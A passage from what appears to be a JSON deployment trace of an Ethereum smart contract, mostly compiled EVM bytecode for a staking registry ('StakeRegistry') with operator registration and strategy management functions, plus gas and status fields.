64645374726174656779506172616d73a264697066735822122086a228217be3aa4346ddc514699a0ca7893ec8b64cbf2023e3b1369fe2efcf1164736f6c63430008180033000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","output":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d85565b610959565b604051610217929190612e25565b6102b56102b0366004612e4a565b610c15565b6040516102179190612e76565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4a565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4a565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f7f565b610ccd565b61035d610358366004612d85565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc36600461303b565b611240565b604051610217919061308d565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130cb565b61152d565b60405161021791906130fe565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461314a565b6116ce565b61027f610495366004613174565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d1366004613240565b6118e9565b6102546104e436600461328d565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132c9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613305565b611ac3565b61041461056c366004612e4a565b611b58565b61025461057f3660046132c9565b611c41565b61027f610592366004613347565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133a4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906133f5565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613412565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133a4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561348e565b905060200201602081019061084a91906134a4565b8289898481811061085d5761085d61348e565b90506020020135815481106108745761087461348e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61348e565b90506020020135815481106108f4576108f461348e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61348e565b905060200201602081019061093091906134a4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146109a45760405162461bcd60e51b8152600401610611906134bf565b6000836001600160401b038111156109be576109be612eee565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612eee565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61348e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361348e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61348e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f91906133f5565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613412565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133a4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61348e565b602002602001015181548110610ea357610ea361348e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161348e565b602002602001015181548110610f1957610f1961348e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613547565b81548110610f6957610f6961348e565b9060005260206000200183878381518110610f8657610f8661348e565b602002602001015181548110610f9e57610f9e61348e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161355a565b6000828152602081208201600019908101919091550190558154829061101990600190613547565b815481106110295761102961348e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61348e565b6020026020010151815481106110725761107261348e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061355a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461112d5760405162461bcd60e51b8152600401610611906134bf565b6000805b8381101561123657600085858381811061114d5761114d61348e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612eee565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761348e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61348e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613547565b6114699190613547565b815481106114795761147961348e565b60009182526020909120015463ffffffff16116114d757600161149c8284613547565b6114a69190613547565b8585815181106114b8576114b861348e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61348e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61348e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175091906133f5565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613412565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133a4565b6117c283836123f7565b505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461180f5760405162461bcd60e51b8152600401610611906134bf565b60005b818110156118e357600083838381811061182e5761182e61348e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906133f5565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613412565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133a4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613547565b81548110611a8c57611a8c61348e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613547565b81548110611bec57611bec61348e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61348e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f361614611cea5760405162461bcd60e51b8152600401610611906134bf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91692639004134792611ea1928c9201613570565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135d1565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761348e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561348e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61348e565b6020026020010151611fae9190613661565b611fb89190613678565b611fc2908661369a565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613547565b815481106120fe576120fe61348e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613547565b815481106122b4576122b461348e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374183398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136ba565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374183398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136ba565b811015612646578482815181106125895761258961348e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861348e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61348e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374183398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661348e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61348e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261348e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61348e565b60200260200101516000015186848151811061285d5761285d61348e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613547565b81548110612a6c57612a6c61348e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613547565b925050506114ee565b80612aa1816136cd565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136e4565b600080821215612baa57612b9982613704565b612ba39084613720565b9050610cae565b612ba3828461369a565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b0380821115612d0157600080fd5b612d0d89838a01612c80565b90965094506040880135915080821115612d2657600080fd5b50612d3388828901612c80565b969995985093965092949392505050565b60008083601f840112612d5657600080fd5b5081356001600160401b03811115612d6d57600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9b57600080fd5b8435612da681612c31565b93506020850135925060408501356001600160401b03811115612dc857600080fd5b612dd487828801612d44565b95989497509550505050565b60008151808452602080850194506020840160005b83811015612e1a5781516001600160601b031687529582019590820190600101612df5565b509495945050505050565b604081526000612e386040830185612de0565b82810360208401526123ee8185612de0565b60008060408385031215612e5d57600080fd5b82359150612e6d60208401612bb4565b90509250929050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257612ecf83855163ffffffff808251168352806020830151166020840152506001600160601b0360408201511660408301525050565b9284019260609290920191600101612e92565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2657612f26612eee565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5457612f54612eee565b604052919050565b60006001600160401b03821115612f7557612f75612eee565b5060051b60200190565b60008060408385031215612f9257600080fd5b612f9b83612bb4565b91506020808401356001600160401b03811115612fb757600080fd5b8401601f81018613612fc857600080fd5b8035612fdb612fd682612f5c565b612f2c565b81815260059190911b82018301908381019088831115612ffa57600080fd5b928401925b8284101561301857833582529284019290840190612fff565b80955050505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305057600080fd5b61305984613027565b925060208401356001600160401b0381111561307457600080fd5b61308086828701612d44565b9497909650939450505050565b6020808252825182820181905260009190848201906040850190845b81811015612ee257835163ffffffff16835292840192918401916001016130a9565b6000806000606084860312156130e057600080fd5b6130e984612bb4565b95602085013595506040909401359392505050565b815163ffffffff9081168252602080840151909116908201526040808301516001600160601b03169082015260608101610cae565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561315d57600080fd5b61316683612bb4565b9150612e6d60208401613133565b60008060006040848603121561318957600080fd5b8335925060208401356001600160401b0381111561307457600080fd5b600082601f8301126131b757600080fd5b813560206131c7612fd683612f5c565b82815260069290921b840181019181810190868411156131e657600080fd5b8286015b8481101561323557604081890312156132035760008081fd5b61320b612f04565b813561321681612c31565b8152613223828601613133565b818601528352918301916040016131ea565b509695505050505050565b6000806040838503121561325357600080fd5b61325c83612bb4565b915060208301356001600160401b0381111561327757600080fd5b613283858286016131a6565b9150509250929050565b6000806000606084860312156132a257600080fd5b6132ab84612bb4565b92506132b960208501613027565b9150604084013590509250925092565b6000806000606084860312156132de57600080fd5b833592506132ee60208501612bb4565b91506132fc60408501613027565b90509250925092565b6000806000806080858703121561331b57600080fd5b61332485612bb4565b935061333260208601613027565b93969395505050506040820135916060013590565b60008060006060848603121561335c57600080fd5b61336584612bb4565b925061337360208501613133565b915060408401356001600160401b0381111561338e57600080fd5b61339a868287016131a6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561340757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134b657600080fd5b6114ee82613133565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613531565b634e487b7160e01b600052603160045260246000fd5b60006040820160018060a01b038086168452602060406020860152828654808552606087019150876000526020600020945060005b818110156135c35785548516835260019586019592840192016135a5565b509098975050505050505050565b600060208083850312156135e457600080fd5b82516001600160401b038111156135fa57600080fd5b8301601f8101851361360b57600080fd5b8051613619612fd682612f5c565b81815260059190911b8201830190838101908783111561363857600080fd5b928401925b828410156136565783518252928401929084019061363d565b979650505050505050565b8082028115828204841417610cae57610cae613531565b60008261369557634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b0381811683821601908082111561062b5761062b613531565b80820180821115610cae57610cae613531565b6000816136dc576136dc613531565b506000190190565b818103600083128015838313168383128216171561062b5761062b613531565b6000600160ff1b820161371957613719613531565b5060000390565b6001600160601b0382811682821603908082111561062b5761062b61353156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a264697066735822122086a228217be3aa4346ddc514699a0ca7893ec8b64cbf2023e3b1369fe2efcf1164736f6c63430008180033","gas_used":2849633,"gas_limit":3786717,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d85565b610959565b604051610217929190612e25565b6102b56102b0366004612e4a565b610c15565b6040516102179190612e76565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4a565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4a565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f7f565b610ccd565b61035d610358366004612d85565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc36600461303b565b611240565b604051610217919061308d565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130cb565b61152d565b60405161021791906130fe565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461314a565b6116ce565b61027f610495366004613174565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d1366004613240565b6118e9565b6102546104e436600461328d565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132c9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b610254610559366004613305565b611ac3565b61041461056c366004612e4a565b611b58565b61025461057f3660046132c9565b611c41565b61027f610592366004613347565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133a4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f366001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b491906133f5565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613412565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133a4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561348e565b905060200201602081019061084a91906134a4565b8289898481811061085d5761085d61348e565b90506020020135815481106108745761087461348e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61348e565b90506020020135815481106108f4576108f461348e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61348e565b905060200201602081019061093091906134a4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146109a45760405162461bcd60e51b8152600401610611906134bf565b6000836001600160401b038111156109be576109be612eee565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612eee565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61348e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e7265676973746572